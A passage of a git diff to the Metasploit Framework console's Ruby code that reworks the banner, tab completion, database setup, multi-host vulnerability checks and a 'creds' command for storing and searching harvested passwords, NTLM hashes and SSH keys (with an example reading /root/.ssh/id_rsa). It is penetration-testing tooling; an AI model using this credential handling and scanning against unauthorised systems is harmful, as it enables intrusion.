http://rapid7.com/metasploit", + "Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit", + "Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit" ] banner << content.sample # Ruby 1.9-ism! banner << "\n\n" end - banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr\n" - banner << "+ -- --=[ " - banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post\n" - banner << "+ -- --=[ " - - oldwarn = nil avdwarn = nil - banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops\n" - if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate) - tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d") - banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n" - if(::Msf::Framework::RepoUpdatedDays > 7) - oldwarn = [] - oldwarn << "Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}." - oldwarn << " We recommend that you update the framework at least every other day." - oldwarn << " For information on updating your copy of Metasploit, please see:" - oldwarn << " https://community.rapid7.com/docs/DOC-1306" - oldwarn << "" - end - end + banner_trailers = { + :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", + :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", + :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", + :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", + :padding => 48 + } + + banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version]) + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos]) + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop]) + + # TODO: People who are already on a Pro install shouldn't see this. + # It's hard for Framework to tell the difference though since + # license details are only in Pro -- we can't see them from here. + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial]) if ::Msf::Framework::EICARCorrupted avdwarn = [] @@ -431,10 +426,6 @@ class Core # Display the banner print_line(banner) - if(oldwarn) - oldwarn.map{|line| print_line(line) } - end - if(avdwarn) avdwarn.map{|line| print_error(line) } end @@ -669,6 +660,14 @@ class Core if(framework.sessions.length > 0 and not forced) print_status("You have active sessions open, to exit anyway type \"exit -y\"") return + elsif(driver.confirm_exit and not forced) + print("Are you sure you want to exit Metasploit? [y/N]: ") + response = gets.downcase.chomp + if(response == "y" || response == "yes") + driver.stop + else + return + end end driver.stop @@ -1479,7 +1478,7 @@ class Core next if not o if not o.search_filter(match) - tbl << [ o.fullname, o.disclosure_date.to_s, o.rank_to_s, o.name ] + tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] end end end @@ -1494,7 +1493,7 @@ class Core def search_modules_sql(search_string) tbl = generate_module_table("Matching Modules") framework.db.search_modules(search_string).each do |o| - tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ] + tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ] end print_line(tbl.to_s) end @@ -2024,6 +2023,19 @@ class Core end end + unless str.blank? + res = res.select { |term| term.upcase.start_with?(str.upcase) } + res = res.map { |term| + if str == str.upcase + str + term[str.length..-1].upcase + elsif str == str.downcase + str + term[str.length..-1].downcase + else + str + term[str.length..-1] + end + } + end + return res end @@ -2611,7 +2623,7 @@ class Core if mod # if there is an active module, give them the fanciness they have come to expect driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true) else - driver.update_prompt("#{prompt}", prompt_char, true) + driver.update_prompt("#{prompt} ", prompt_char, true) end # dump the command's output so we can grep it @@ -2721,6 +2733,8 @@ class Core # Is this option used by the active module? if (mod.options.include?(opt)) res.concat(option_values_dispatch(mod.options[opt], str, words)) + elsif (mod.options.include?(opt.upcase)) + res.concat(option_values_dispatch(mod.options[opt.upcase], str, words)) end # How about the selected payload? @@ -2728,6 +2742,8 @@ class Core p = framework.payloads.create(mod.datastore['PAYLOAD']) if (p and p.options.include?(opt)) res.concat(option_values_dispatch(p.options[opt], str, words)) + elsif (p and p.options.include?(opt.upcase)) + res.concat(option_values_dispatch(p.options[opt.upcase], str, words)) end end @@ -2761,8 +2777,10 @@ class Core end when 'Msf::OptAddressRange' - case str + when /^file:(.*)/ + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files when /\/$/ res << str+'32' res << str+'24' @@ -2793,9 +2811,20 @@ class Core o.enums.each do |val| res << val end + when 'Msf::OptPath' - files = tab_complete_filenames(str,words) + files = tab_complete_filenames(str, words) res += files if files + + when 'Msf::OptBool' + res << 'true' + res << 'false' + + when 'Msf::OptString' + if (str =~ /^file:(.*)/) + files = tab_complete_filenames($1, words) + res += files.map { |f| "file:" + f } if files + end end return res @@ -2967,7 +2996,7 @@ class Core print_warning "to start Metasploit Community / Pro." return false end - svc_log = File.expand_path(File.join(msfbase_dir, ".." , "engine", "prosvc_stdout.log")) + svc_log = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], "apps" , "pro", "engine", "prosvc_stdout.log")) unless ::File.readable_real? svc_log print_error "Unable to access log file: #{svc_log}" return false @@ -3002,7 +3031,7 @@ class Core end def start_metasploit_service - cmd = File.expand_path(File.join(msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + cmd = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], 'scripts', 'start.sh')) return unless ::File.executable_real? cmd %x{#{cmd}}.each_line do |line| print_status line.chomp @@ -3028,7 +3057,19 @@ class Core # Determines if this is an apt-based install def is_apt - File.exists?(File.expand_path(File.join(msfbase_dir, '.apt'))) + File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) + end + + # Determines if we're a Metasploit Pro/Community/Express + # installation or a tarball/git checkout + # + # @return [Boolean] true if we are a binary install + def binary_install + binary_paths = [ + 'C:/metasploit/apps/pro/msf3', + '/opt/metasploit/apps/pro/msf3' + ] + return binary_paths.include? Msf::Config.install_root end # @@ -3230,7 +3271,7 @@ class Core end end if (opts == nil or show == true) - tbl << [ refname, o.disclosure_date||"", o.rank_to_s, o.name ] + tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] end end end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 3c4d4b4745..219ab26ceb 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -18,6 +18,8 @@ class Db # TODO: Not thrilled about including this entire module for just store_local. include Msf::Auxiliary::Report + include Metasploit::Credential::Creation + # # The dispatcher's name. # @@ -217,7 +219,6 @@ class Db return unless active? ::ActiveRecord::Base.connection_pool.with_connection { onlyup = false - host_search = nil set_rhosts = false mode = :search delete_count = 0 @@ -580,7 +581,6 @@ class Db return end - mode = :search while (arg = args.shift) case arg #when "-a","--add" @@ -648,73 +648,126 @@ class Db end def cmd_creds_help - print_line "Usage: creds [addr range]" - print_line "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>" print_line - print_line " -a,--add Add creds to the given addresses instead of listing" - print_line " -d,--delete Delete the creds instead of searching" - print_line " -h,--help Show this help information" - print_line " -o <file> Send output to a file in csv format" - print_line " -p,--port <portspec> List creds matching this port spec" - print_line " -s <svc names> List creds matching these service names" - print_line " -t,--type <type> Add a cred of this type (only with -a). Default: password" - print_line " -u,--user Add a cred for this user (only with -a). Default: blank" - print_line " -P,--password Add a cred with this password (only with -a). Default: blank" - print_line " -R,--rhosts Set RHOSTS from the results of the search" - print_line " -S,--search Search string to filter by" - print_line " -c,--columns Columns of interest" + print_line "With no sub-command, list credentials. If an address range is" + print_line "given, show only credentials with logins on hosts within that" + print_line "range." print_line - print_line "Examples:" - print_line " creds # Default, returns all active credentials" - print_line " creds all # Returns all credentials active or not" + print_line "Usage - Listing credentials:" + print_line " creds [filter options] [address range]" + print_line + print_line "Usage - Adding credentials:" + print_line " creds add-ntlm <user> <ntlm hash> [domain]" + print_line " creds add-password <user> <password> [realm] [realm-type]" + print_line " creds add-ssh-key <user> </path/to/id_rsa> [realm-type]" + print_line "Where [realm type] can be one of:" + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short, description| + print_line " #{short} - #{description}" + end + + print_line + print_line "General options" + print_line " -h,--help Show this help information" + print_line " -o <file> Send output to a file in csv format" + print_line + print_line "Filter options for listing" + print_line " -P,--password <regex> List passwords that match this regex" + print_line " -p,--port <portspec> List creds with logins on services matching this port spec" + print_line " -s <svc names> List creds matching comma-separated service names" + print_line " -u,--user <regex> List users that match this regex" + + print_line + print_line "Examples, listing:" + print_line " creds # Default, returns all credentials" print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds -p 22-25,445 # nmap port specification" - print_line " creds 10.1.*.* -s ssh,smb all" + print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" + print_line + + print_line + print_line "Examples, adding:" + print_line " # Add a user with an NTLMHash" + print_line " creds add-ntlm alice 5cfe4c82d9ab8c66590f5b47cd6690f1:978a2e2e1dec9804c6b936f254727f9a" + print_line " # Add a user with a blank password and a domain" + print_line " creds add-password bob '' contosso" + print_line " # Add a user with an SSH key" + print_line " creds add-ssh-key root /root/.ssh/id_rsa" print_line end - # - # Can return return active or all, on a certain host or range, on a - # certain port or range, and/or on a service name. - # - def cmd_creds(*args) - return unless active? - ::ActiveRecord::Base.connection_pool.with_connection { - - search_param = nil - inactive_ok = false - type = "password" - - set_rhosts = false - output_file = nil - - host_ranges = [] - port_ranges = [] - rhosts = [] - svcs = [] - delete_count = 0 - search_term = nil - - cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - user = nil - - # Short-circuit help - if args.delete "-h" - cmd_creds_help - return + # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` + # @param username [String] + # @param password [String] + # @param realm [String] + # @param realm_type [String] A key in `Metasploit::Model::Realm::Key::SHORT_NAMES` + def creds_add(private_type, username, password=nil, realm=nil, realm_type=nil) + cred_data = { + username: username, + private_data: password, + private_type: private_type, + workspace_id: framework.db.workspace, + origin_type: :import, + filename: "msfconsole" + } + if realm.present? + if realm_type.present? + realm_key = Metasploit::Model::Realm::Key::SHORT_NAMES[realm_type] + if realm_key.nil? + valid = Metasploit::Model::Realm::Key::SHORT_NAMES.keys.map{|n|"'#{n}'"}.join(", ") + print_error("Invalid realm type: #{realm_type}. Valid values: #{valid}") + return + end + end + realm_key ||= Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + cred_data.merge!( + realm_value: realm, + realm_key: realm_key + ) end - mode = :search + begin + create_credential(cred_data) + rescue ActiveRecord::RecordInvalid => e + print_error("Failed to add #{private_type}: #{e}") + end + end + + def creds_add_non_replayable_hash(*args) + creds_add(:non_replayable_hash, *args) + end + + def creds_add_ntlm_hash(*args) + creds_add(:ntlm_hash, *args) + end + + def creds_add_password(*args) + creds_add(:password, *args) + end + + def creds_add_ssh_key(username, *args) + key_file, realm = args + begin + key_data = File.read(key_file) + rescue ::Errno::EACCES, ::Errno::ENOENT => e + print_error("Failed to add ssh key: #{e}") + else + creds_add(:ssh_key, username, key_data, realm) + end + end + + def creds_search(*args) + host_ranges = [] + port_ranges = [] + svcs = [] + + #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] + cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + user = nil + delete_count = 0 + while (arg = args.shift) case arg - when "-a","--add" - mode = :add - when "-d" - mode = :delete - when "-h" - cmd_creds_help - return when '-o' output_file = args.shift if (!output_file) @@ -745,32 +798,14 @@ class Db print_error("Argument required for -P") return end - when "-R" - set_rhosts = true - when '-S', '--search' - search_term = /#{args.shift}/nmi when "-u","--user" user = args.shift if (!user) print_error("Argument required for -u") return end - when '-c','--columns' - columns = args.shift - unless columns - print_error("Argument required for -c, you may use any of #{cred_table_columns.join(',')}") - return - end - cred_table_columns = columns.split(/[\s]*,[\s]*/).select do |col| - cred_table_columns.include?(col) - end - if cred_table_columns.empty? - print_error("Argument -c requires valid columns") - return - end - when "all" - # The user wants inactive passwords, too - inactive_ok = true + when "-d" + mode = :delete else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -779,33 +814,13 @@ class Db end end - if mode == :add - if port_ranges.length != 1 or port_ranges.first.length != 1 - print_error("Exactly one port required") - return - end - port = port_ranges.first.first - host_ranges.each do |range| - range.each do |host| - cred = framework.db.find_or_create_cred( - :host => host, - :port => port, - :user => (user == "NULL" ? nil : user), - :pass => (pass == "NULL" ? nil : pass), - :type => ptype, - :sname => service, - :active => true - ) - print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}") - end - end - return - end - # If we get here, we're searching. Delete implies search if user user_regex = Regexp.compile(user) end + if pass + pass_regex = Regexp.compile(pass) + end # normalize ports = port_ranges.flatten.uniq @@ -815,79 +830,137 @@ class Db 'Columns' => cred_table_columns } - tbl_opts.merge!( - 'ColProps' => { - 'pass' => { 'MaxChar' => 64 }, - 'proof' => { 'MaxChar' => 56 } - } - ) if search_term.nil? tbl = Rex::Ui::Text::Table.new(tbl_opts) - creds_returned = 0 - # Now do the actual search - framework.db.each_cred(framework.db.workspace) do |cred| - # skip if it's inactive and user didn't ask for all - next unless (cred.active or inactive_ok) - if search_term - next unless cred.attribute_names.any? { |a| cred[a.intern].to_s.match(search_term) } - end - # Also skip if the user is searching for something and this - # one doesn't match - includes = false - host_ranges.map do |rw| - includes = rw.include? cred.service.host.address - break if includes - end - next unless host_ranges.empty? or includes + ::ActiveRecord::Base.connection_pool.with_connection { + query = Metasploit::Credential::Core.where( + workspace_id: framework.db.workspace, + ) - # Same for ports - next unless ports.empty? or ports.include? cred.service.port + query.each do |core| - # Same for service names - next unless svcs.empty? or svcs.include?(cred.service.name) + # Exclude creds that don't match the given user + if user_regex.present? && !core.public.username.match(user_regex) + next + end - if user_regex - next unless user_regex.match(cred.user) - end + # Exclude creds that don't match the given pass + if pass_regex.present? && !core.private.data.match(pass_regex) + next + end - row = cred_table_columns.map do |col| - case col - when 'host' - cred.service.host.address - when 'port' - cred.service.port - when 'type' - cred.ptype + if core.logins.empty? + # Skip cores that don't have any logins if the user specified a + # filter based on host, port, or service name + next if host_ranges.any? || ports.any? || svcs.any? + + tbl << [ + "", # host + "", # port + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] else - cred.send(col.intern) + core.logins.each do |login| + if svcs.present? && !svcs.include?(login.service.name) + next + end + + if ports.present? && !ports.include?(login.service.port) + next + end + + # If none of this Core's associated Logins is for a host within + # the user-supplied RangeWalker, then we don't have any reason to + # print it out. However, we treat the absence of ranges as meaning + # all hosts. + if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } + next + end + row = [ login.service.host.address ] + if login.service.name.present? + row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" + else + row << "#{login.service.port}/#{login.service.proto}" + end + + row += [ + core.public, + core.private, + core.realm, + core.private ? core.private.class.model_name.human : "", + ] + tbl << row + end + end + if mode == :delete + core.destroy + delete_count += 1 end end - tbl << row - if mode == :delete - cred.destroy - delete_count += 1 + if output_file.nil? + print_line(tbl.to_s) + else + # create the output file + ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } + print_status("Wrote creds to #{output_file}") end - if set_rhosts - addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address ) - rhosts << addr - end - creds_returned += 1 + + print_status("Deleted #{delete_count} creds") if delete_count > 0 + } + end + + # + # Can return return active or all, on a certain host or range, on a + # certain port or range, and/or on a service name. + # + def cmd_creds(*args) + return unless active? + + # Short-circuit help + if args.delete "-h" + cmd_creds_help + return end - print_line - if (output_file == nil) - print_line(tbl.to_s) + subcommand = args.shift + case subcommand + when "add-ntlm" + creds_add_ntlm_hash(*args) + when "add-password" + creds_add_password(*args) + when "add-hash" + creds_add_non_replayable_hash(*args) + when "add-ssh-key" + creds_add_ssh_key(*args) else - # create the output file - ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } - print_status("Wrote services to #{output_file}") + # then it's not actually a subcommand + args.unshift(subcommand) if subcommand + creds_search(*args) end - set_rhosts_from_addrs(rhosts.uniq) if set_rhosts + end - print_status("Deleted #{delete_count} credentials") if delete_count > 0 - } + def cmd_creds_tabs(str, words) + case words.length + when 1 + # subcommands + tabs = [ 'add-ntlm', 'add-password', 'add-hash', 'add-ssh-key', ] + when 2 + tabs = if words[1] == 'add-ssh-key' + tab_complete_filenames(str, words) + else + [] + end + #when 5 + # tabs = Metasploit::Model::Realm::Key::SHORT_NAMES.keys + else + tabs = [] + end + return tabs end def cmd_notes_help @@ -1044,8 +1117,9 @@ class Db end end if (note.service) - name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") - msg << " service=#{name}" + msg << " service=#{note.service.name}" if note.service.name + msg << " port=#{note.service.port}" if note.service.port + msg << " protocol=#{note.service.proto}" if note.service.proto end msg << " type=#{note.ntype} data=#{note.data.inspect}" print_status(msg) @@ -1127,8 +1201,8 @@ class Db info = args.shift if(!info) print_error("Can't make loot with no info") - return - end + return + end when '-t' typelist = args.shift if(!typelist) @@ -1176,8 +1250,8 @@ class Db range.each do |host| file = File.open(filename, "rb") contents = file.read - lootfile = framework.db.find_or_create_loot(:type => type, :host => host,:info => info, :data => contents,:path => filename,:name => name) - print_status("Added loot #{host}") + lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name) + print_status("Added loot for #{host} (#{lootfile})") end end return @@ -1292,25 +1366,38 @@ class Db print_line print_line "Filenames can be globs like *.xml, or **/*.xml which will search recursively" print_line "Currently supported file types include:" - print_line " Acunetix XML" + print_line " Acunetix" print_line " Amap Log" print_line " Amap Log -m" - print_line " Appscan XML" + print_line " Appscan" print_line " Burp Session XML" - print_line " Foundstone XML" + print_line " CI" + print_line " Foundstone" + print_line " FusionVM XML" + print_line " IP Address List" print_line " IP360 ASPL" print_line " IP360 XML v3" + print_line " Libpcap Packet Capture" + print_line " Metasploit PWDump Export" + print_line " Metasploit XML" + print_line " Metasploit Zip Export" print_line " Microsoft Baseline Security Analyzer" - print_line " Nessus NBE" - print_line " Nessus XML (v1 and v2)" - print_line " NetSparker XML" print_line " NeXpose Simple XML" print_line " NeXpose XML Report" + print_line " Nessus NBE Report" + print_line " Nessus XML (v1)" + print_line " Nessus XML (v2)" + print_line " NetSparker XML" + print_line " Nikto XML" print_line " Nmap XML" print_line " OpenVAS Report" + print_line " OpenVAS XML" + print_line " Outpost24 XML" print_line " Qualys Asset XML" print_line " Qualys Scan XML" print_line " Retina XML" + print_line " Spiceworks CSV Export" + print_line " Wapiti XML" print_line end @@ -1320,7 +1407,7 @@ class Db def cmd_db_import(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { - if (args.include?("-h") or not (args and args.length > 0)) + if args.include?("-h") || ! (args && args.length > 0) cmd_db_import_help return end @@ -1383,8 +1470,8 @@ class Db next rescue REXML::ParseException => e print_error("Failed to import #{filename} due to malformed XML:") - print_error("#{$!.class}: #{$!}") - elog("Failed to import #{filename}: #{$!.class}: #{$!}") + print_error("#{e.class}: #{e}") + elog("Failed to import #{filename}: #{e.class}: #{e}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next end @@ -1552,7 +1639,8 @@ class Db # def cmd_db_status(*args) return if not db_check_driver - if ::ActiveRecord::Base.connected? + + if framework.db.connection_established? cdb = "" ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database @@ -1685,7 +1773,6 @@ class Db end def db_find_tools(tools) - found = true missed = [] tools.each do |name| if(! Rex::FileUtils.find_full_path(name)) @@ -1777,7 +1864,7 @@ class Db # Miscellaneous option helpers # - # Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+ + # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+ # # @note This modifies +host_ranges+ in place # diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index add35b4a77..c13142ffd6 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -15,12 +15,9 @@ module Msf module Ui module Console -### # -# This class implements a user interface driver on a console interface. +# A user interface driver on a console interface. # -### - class Driver < Msf::Ui::Driver ConfigCore = "framework/core" @@ -44,21 +41,18 @@ class Driver < Msf::Ui::Driver # prompt character. The optional hash can take extra values that will # serve to initialize the console driver. # - # The optional hash values can include: - # - # AllowCommandPassthru - # - # Whether or not unknown commands should be passed through and executed by - # the local system. - # - # RealReadline - # - # Whether or to use the system Readline or the RBReadline (default) - # - # HistFile - # - # Name of a file to store command history - # + # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow + # unrecognized commands to be executed by the system shell + # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's + # readline library instead of RBReadline + # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file + # where we can store command history + # @option opts [Array<String>] 'Resources' ([]) A list of resource files to + # load. If no resources are given, will load the default resource script, + # 'msfconsole.rc' in the user's {Msf::Config.config_directory config + # directory} + # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip + # connecting to the database and running migrations def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) # Choose a readline library before calling the parent @@ -158,6 +152,9 @@ class Driver < Msf::Ui::Driver # Whether or not command passthru should be allowed self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true + # Whether or not to confirm before exiting + self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false + # Disables "dangerous" functionality of the console @defanged = opts['Defanged'] == true @@ -176,50 +173,54 @@ class Driver < Msf::Ui::Driver end end - # Look for our database configuration in the following places, in order: - # command line arguments - # environment variable - # configuration directory (usually ~/.msf3) - dbfile = opts['DatabaseYAML'] - dbfile ||= ENV["MSF_DATABASE_CONFIG"] - dbfile ||= File.join(Msf::Config.get_config_root, "database.yml") - if (dbfile and File.exists? dbfile) - if File.readable?(dbfile) - dbinfo = YAML.load(File.read(dbfile)) - dbenv = opts['DatabaseEnv'] || "production" - db = dbinfo[dbenv] - else - print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") - end - if not db - print_error("No database definition for environment #{dbenv}") - else - if not framework.db.connect(db) - if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i - print_error("***") - print_error("*") - print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") - print_error("* There a three ways to accomplish this upgrade:") - print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") - print_error("* $ rvmsudo gem install pg ") - print_error("* 2. Use the Community Edition web interface to apply a Software Update") - print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") - print_error("*") - print_error("***") - print_error("") - print_error("") - end + if framework.db.connection_established? + framework.db.after_establish_connection + else + configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML']) - print_error("Failed to connect to the database: #{framework.db.error}") + unless configuration_pathname.nil? + if configuration_pathname.readable? + dbinfo = YAML.load_file(configuration_pathname) + dbenv = opts['DatabaseEnv'] || Rails.env + db = dbinfo[dbenv] else - self.framework.modules.refresh_cache_from_database + print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.") + end - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end + if not db + print_error("No database definition for environment #{dbenv}") + else + framework.db.connect(db) end end end + + # framework.db.active will be true if after_establish_connection ran directly when connection_established? was + # already true or if framework.db.connect called after_establish_connection. + if framework.db.active + self.framework.modules.refresh_cache_from_database + + if self.framework.modules.cache_empty? + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") + end + elsif !framework.db.error.nil? + if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i + print_error("***") + print_error("*") + print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support") + print_error("* There a three ways to accomplish this upgrade:") + print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:") + print_error("* $ rvmsudo gem install pg ") + print_error("* 2. Use the Community Edition web interface to apply a Software Update") + print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit") + print_error("*") + print_error("***") + print_error("") + print_error("") + end + + print_error("Failed to connect to the database: #{framework.db.error}") + end end # Initialize the module paths only if we didn't get passed a Framework instance @@ -240,14 +241,14 @@ class Driver < Msf::Ui::Driver # Process things before we actually display the prompt and get rocking on_startup(opts) - # Process the resource script - if opts['Resource'] and opts['Resource'].kind_of? Array + # Process any resource scripts + if opts['Resource'].blank? + # None given, load the default + load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc')) + else opts['Resource'].each { |r| load_resource(r) } - else - # If the opt is nil here, we load ~/.msf3/msfconsole.rc - load_resource(opts['Resource']) end # Process any additional startup commands @@ -420,11 +421,11 @@ class Driver < Msf::Ui::Driver end end + # Processes a resource script file for the console. # - # Processes the resource script file for the console. - # - def load_resource(path=nil) - path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc') + # @param path [String] Path to a resource file to run + # @return [void] + def load_resource(path) return if not ::File.readable?(path) resource_file = ::File.read(path) @@ -593,6 +594,10 @@ class Driver < Msf::Ui::Driver # attr_reader :framework # + # Whether or not to confirm before exiting + # + attr_reader :confirm_exit + # # Whether or not commands can be passed through. # attr_reader :command_passthru @@ -628,6 +633,7 @@ class Driver < Msf::Ui::Driver protected attr_writer :framework # :nodoc: + attr_writer :confirm_exit # :nodoc: attr_writer :command_passthru # :nodoc: # diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index f15e359393..392b5795aa 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -36,35 +36,162 @@ module ModuleCommandDispatcher self.driver.active_module = m end + def check_progress + return 0 unless @range_done and @range_count + pct = (@range_done / @range_count.to_f) * 100 + end + + def check_show_progress + pct = check_progress + if(pct >= (@range_percent + @show_percent)) + @range_percent = @range_percent + @show_percent + tdlen = @range_count.to_s.length + print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)") + end + end + + def check_multiple(hosts) + # This part of the code is mostly from scanner.rb + @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false + @show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i + + @range_count = hosts.length || 0 + @range_done = 0 + @range_percent = 0 + + # Set the default thread to 1. The same behavior as before. + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i + @tl = [] + + + if Rex::Compat.is_windows + if threads_max > 16 + print_warning("Thread count has been adjusted to 16") + threads_max = 16 + end + end + + if Rex::Compat.is_cygwin + if threads_max > 200 + print_warning("Thread count has been adjusted to 200") + threads_max = 200 + end + end + + loop do + while (@tl.length < threads_max) + ip = hosts.next_ip + break unless ip + + @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip| + # Make sure this is thread-safe when assigning an IP to the RHOST + # datastore option + instance = mod.replicant + instance.datastore['RHOST'] = tip.dup + Msf::Simple::Framework.simplify_module(instance, false) + check_simple(instance) + } + end + + break if @tl.length == 0 + + tla = @tl.length + + # This exception handling is necessary, the first thread with errors can kill the + # whole check_multiple and leave the rest of the threads running in background and + # only accessible with the threads command (Thread.list) + begin + @tl.first.join + rescue ::Exception => exception + if exception.kind_of?(::Interrupt) + raise exception + else + elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + end + end + + @tl.delete_if { |t| not t.alive? } + tlb = @tl.length + + @range_done += (tla - tlb) + check_show_progress if @show_progress + end + end + # # Checks to see if a target is vulnerable. # def cmd_check(*args) defanged? + + ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || '' + hosts = Rex::Socket::RangeWalker.new(ip_range_arg) + begin - code = mod.check_simple( + if hosts.ranges.blank? + # Check a single rhost + check_simple + else + # Check multiple hosts + last_rhost_opt = mod.rhost + last_rhosts_opt = mod.datastore['RHOSTS'] + mod.datastore['RHOSTS'] = ip_range_arg + begin + check_multiple(hosts) + ensure + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt + mod.datastore['RHOSTS'] = last_rhosts_opt + mod.cleanup + end + end + rescue ::Interrupt + # When the user sends interrupt trying to quit the task, some threads will still be active. + # This means even though the console tells the user the task has aborted (or at least they + # assume so), the checks are still running. Because of this, as soon as we detect interrupt, + # we force the threads to die. + if @tl + @tl.each { |t| t.kill } + 